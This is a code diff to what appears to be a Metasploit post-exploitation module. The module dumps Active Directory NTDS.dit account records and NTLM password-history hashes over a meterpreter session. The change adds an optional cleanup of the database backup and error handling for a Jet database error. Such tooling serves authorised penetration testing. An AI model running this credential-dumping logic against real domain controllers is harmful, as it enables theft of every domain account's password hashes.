@@ -28,6 +28,9 @@ def initialize(info={})
28
28
'SessionTypes' => [ 'meterpreter' ]
29
29
) )
30
30
deregister_options ( 'SMBUser' , 'SMBPass' , 'SMBDomain' )
31
+ register_options (
32
+ [ OptBool . new ( 'CLEANUP' ,
33
+ [ true , 'Automatically delete ntds backup created' , true ] ) ] )
31
34
end
32
35
33
36
def run
@@ -40,19 +43,32 @@ def run
40
43
print_status "Repairing NTDS database after copy..."
41
44
print_status repair_ntds ( ntds_file )
42
45
realm = sysinfo [ "Domain" ]
43
- ntds_parser = Metasploit ::Framework ::NTDS ::Parser . new ( client , ntds_file )
44
- print_status "Started up NTDS channel. Preparing to stream results..."
45
- ntds_parser . each_account do |ad_account |
46
- print_good ad_account . to_s
47
- report_hash ( ad_account . ntlm_hash . downcase , ad_account . name , realm )
48
- ad_account . nt_history . each_with_index do |nt_hash , index |
49
- hash_string = ad_account . lm_history [ index ] || Metasploit ::Credential ::NTLMHash ::BLANK_LM_HASH
50
- hash_string << ":#{ nt_hash } "
51
- report_hash ( hash_string . downcase , ad_account . name , realm )
46
+ begin
47
+ ntds_parser = Metasploit ::Framework ::NTDS ::Parser . new ( client , ntds_file )
48
+ rescue Rex ::Post ::Meterpreter ::RequestError => e
49
+ print_bad ( "Failed to properly parse database: #{ e } " )
50
+ if e . to_s . include? "1004"
51
+ print_bad ( "Error 1004 is likely a jet database error because the ntds database is not in the regular format" )
52
+ end
53
+ end
54
+ unless ntds_parser . nil?
55
+ print_status "Started up NTDS channel. Preparing to stream results..."
56
+ ntds_parser . each_account do |ad_account |
57
+ print_good ad_account . to_s
58
+ report_hash ( ad_account . ntlm_hash . downcase , ad_account . name , realm )
59
+ ad_account . nt_history . each_with_index do |nt_hash , index |
60
+ hash_string = ad_account . lm_history [ index ] || Metasploit ::Credential ::NTLMHash ::BLANK_LM_HASH
61
+ hash_string << ":#{ nt_hash } "
62
+ report_hash ( hash_string . downcase , ad_account . name , realm )
63
+ end
52
64
end
53
65
end
54
- print_status "Deleting backup of NTDS.dit at #{ ntds_file } "
55
- rm_f ( ntds_file )
66
+ if datastore [ 'cleanup' ]
67
+ print_status "Deleting backup of NTDS.dit at #{ ntds_file } "
68
+ rm_f ( ntds_file )
69
+ else
70
+ print_bad "#{ ntds_file } requires manual cleanup"
71
+ end
56
72
end
57
73
end
58
74
end
0 commit comments